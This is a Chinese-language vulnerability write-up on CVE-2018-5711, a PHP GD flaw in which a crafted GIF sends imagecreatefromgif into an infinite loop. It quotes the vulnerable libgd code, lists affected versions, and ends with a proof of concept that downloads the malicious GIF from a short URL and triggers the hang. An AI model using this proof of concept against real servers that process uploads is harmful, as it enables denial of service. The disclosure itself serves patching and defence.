PHP漏洞|一張GIF圖片就能讓服務器宕機的PHP漏洞
最近,臺灣Web漏洞挖掘大牛Orange Tsai在對一些Web開發(fā)框架和程序實現(xiàn)模塊進行安全審核的過程中,發(fā)現(xiàn)了一些有意思的漏洞。就比如說,這個PHP的CVE-2018-5711,它能用一張GIF圖片就可導致服務器發(fā)生崩潰直至宕機,在現(xiàn)實中非常容易利用。在此,Orange Tsai簡單地介紹了這個漏洞。
漏洞影響的PHP版本 包含以下PHP系列和其它所有PHP版本
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
漏洞細節(jié) 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函數(shù)中存在一個循環(huán)(while-loop):
- do {
- sd->firstcode = sd->oldcode =
- GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
- } while (sd->firstcode == sd->clear_code);
GetCode函數(shù)僅只是一個包裝類,GetCode_才是真正的執(zhí)行體:
- static int
- GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
- {
- int i, j, ret;
- unsigned char count;
- ...
- if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
- scd->done = TRUE;
- ...
- }
GetCode_ 會調用GetDataBlock來讀取GIF圖片中的數(shù)據(jù):
- static int
- GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
- {
- unsigned char count;
- if (! ReadOK(fd,&count,1)) {
- return -1;
- }
- *ZeroDataBlockP = count == 0;
- if ((count != 0) && (! ReadOK(fd, buf, count))) {
- return -1;
- }
- return count;
- }
以上就是涉及到的漏洞代碼,你有發(fā)現(xiàn)一些端倪嗎?
該漏洞依賴于從整形(int)到無符號字符(unsigned char)的類型轉換。就像上述的:如果GetDataBlock_返回-1,則第400行中的scd->done將會被設置為True,并停止while循環(huán)。但是其定義的count是無符號字符,它總是從0到255的正數(shù),所以這種循環(huán)停止動作是不會被觸發(fā)執(zhí)行的。
因此,最終結果就是,一張GIF圖片就可以實現(xiàn)無限循環(huán),導致服務器資源耗盡,直到崩潰宕機。
PoC
- $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
- $ php -r 'imagecreatefromgif("poc.gif");'
- Infinite loop here...
由于現(xiàn)實網(wǎng)絡中,很多服務器都會用GD圖形的擴展庫,對用戶上傳的圖片作重新尺寸調整處理,所以該漏洞具有很強的現(xiàn)實危害。
后記 Orange Tsai后續(xù)會公開更多0-day和與該漏洞相關的內容。
漏洞參考:
https://bugs.php.net/bug.php?id=75571
http://php.net/ChangeLog-7.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711